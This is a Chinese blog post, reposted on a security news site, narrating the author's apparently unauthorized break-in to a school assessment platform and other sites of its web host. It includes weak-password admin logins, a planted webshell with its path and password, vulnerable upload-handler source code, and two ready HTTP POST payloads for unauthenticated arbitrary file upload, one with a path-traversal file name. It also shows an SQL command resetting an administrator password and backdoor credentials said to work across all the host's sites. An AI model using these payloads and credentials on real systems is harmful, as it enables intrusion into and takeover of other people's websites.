记一次对母校渗透过程

admin 2024年10月18日22:56:33评论8 views字数 4134阅读13分46秒阅读模式

0x01 初探其境

通过 Fofa 搜索关键词找到了母校的xx考核平台.  http://xxxxxx.xxxxx.com/

记一次对母校渗透过程

打开一看发现是一个简陋的登录界面 测试过无逻辑漏洞和弱口令 遂调转方向

记一次对母校渗透过程

0x02 大道至简fofa有个功能 可以查看该域名对应IP开放端口 于是检查端口查看是否存在漏洞.

记一次对母校渗透过程

发现其中一个端口对应 fw.xxxxx.com 是个其主机商下所有网站的导航 点击获取IP还能查看 CDN都不用绕了

记一次对母校渗透过程

随机抽取十个站点 发现都是一个CMS系统 直接/admin 弱口令一把梭.

https://fsw.xxxxxxxx.com/ 网站导航http://tianamo.xxxxxxxx.com/ xx系统http://rongssheng.xxxxxxxx.com/ shellhttp://chunldai.xxxxxxxx.com/ xx系统http://yifanaweb.xxxxxxxx.com/ xx系统http://sanruishe.xxxxxxxx.com/ xx系统http://fangyuanshaop.xxxxxxxx.com/ 新xx系统

记一次对母校渗透过程

里边有一些重要 Information 翻找系统有无可用之处.

记一次对母校渗透过程

记一次对母校渗透过程

直接找到了一个文件管理的界面 没任何限制 上传shell一把梭.(这个文件管理系统还能跨目录...)

记一次对母校渗透过程

http://xxxxxxxxxxxxx.com/Upload/image/shell.aspx| rebeyond 直接拿下

记一次对母校渗透过程

发现目录在 D:/webzkc/jiaoshijixiao/

记一次对母校渗透过程

0x03 由简入深拿到shell之后 翻看了下其目录 发现是最基础的Asp.net 架构 应该是自研的系统(漏洞很多)/Editor/upload_status.ashx 中发现存在前台任意文件上传漏洞.且无任何鉴权.

<%@ WebHandler Language="C#" Class="uploadStatus" %>/** * KindEditor ASP.NET * * ?ASP.NET???????,??????????????? * ????????????,???????????????? * */using System;using System.Collections;using System.Web;using System.IO;using System.Globalization;using LitJson;using BBYCMS.Include;using System.Threading;using System.Web.SessionState;public class uploadStatus : IHttpHandler, IRequiresSessionState{    private HttpContext context;    public void ProcessRequest(HttpContext context)    {        string act = context.Request["act"] != null ? context.Request["act"].ToString() : "";        if (act == "upload")        {            if (context.Request.Files.Count > 0)            {                HttpPostedFile file = context.Request.Files[0];                FileStream fs = File.Create(context.Server.MapPath("/Upload/") + file.FileName);                BinaryWriter bw = new BinaryWriter(fs);                BinaryReader br = new BinaryReader(file.InputStream);                int filelength = file.ContentLength;                int readcount = 0;                int nowcount = 0;                int bytelength = 500;                byte[] buffer = new byte[bytelength];                while ((readcount = br.Read(buffer, 0, bytelength)) > 0)                {                    nowcount += readcount;                    bw.Write(buffer, 0, readcount);                    bw.Flush();                }                fs.Close();                fs.Dispose();                bw.Close();                bw.Dispose();                br.Close();                br.Dispose();            }            else            {                context.Response.Write("nofile");            }            context.Response.End();        }    }    public bool IsReusable    {        get        {            return true;        }    }}

只需要Get请求 Act=Upload 即可上传任意文件 Payload:

POST /Editor/upload_status.ashx?act=upload HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 193Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUB5wmNn272Yoe3vXHost: xxx.comOrigin: http://xxx.comPragma: no-cacheReferer: http://xxx.com/Editor/upload_status.ashx?act=uploadUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36----WebKitFormBoundaryMXNLGZirKX5UAvYGContent-Disposition: form-data; name="file";filename="../Deep.txt"Content-Type: image/jpegFastJson----WebKitFormBoundaryMXNLGZirKX5UAvYG-

记一次对母校渗透过程

换了蚁剑连接shell 管理 http://xxxxxxxxxxxxx.com/log/Log.aspx | 123456

发现了管理员Admin和bbycms 的密码 但解不开 于是直接update更新密码

update bby_admin set password='xxxxxxxxxxxxxxxxxxxxxxxxxxx' where id=2;

记一次对母校渗透过程

利用bbycms的账号登录上去 这个账户看起来更像是一个后门账户.bbycms|ts123456

记一次对母校渗透过程

0x04 终焉之章决定对该主机商的其他cms系统进行深度研究.通读代码 及 反编译 bbycms.dll 进行审计.任意文件上传/Editor/upload_more.ashx 存在任意文件上传漏洞 通杀所有该主机商网站.

POST /Editor/upload_more.ashx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 199Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPx5fvopwpxvGTK8XCookie: ASP.NET_SessionId=vlbohnzdnpcmctk114nfdu1y; Hm_lvt_435e182a23ec27c138d9a76034bdbd58=1683892979; Hm_lpvt_435e182a23ec27c138d9a76034bdbd58=1683892979Host: xxxxx.xxxxxx.comOrigin: http://xxxxx.xxxxxx.comPragma: no-cacheReferer: http://xxxxx.xxxxxxx.com/Editor/upload_more.ashxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36----WebKitFormBoundaryMXNLGZirKX5UAvYGContent-Disposition: form-data; name="imgfile";filename="Deep.txt"Content-Type: image/jpegFastJson----WebKitFormBoundaryMXNLGZirKX5UAvYG-

记一次对母校渗透过程

后门账户bbycms|bbycms通杀所有网站

点到为止,不进行更深入层次的渗透了       省流版:旁站拿下

原文始发于微信公众号(星悦安全):记一次对母校渗透过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:56:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对母校渗透过程https://cn-sec.com/archives/1881213.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息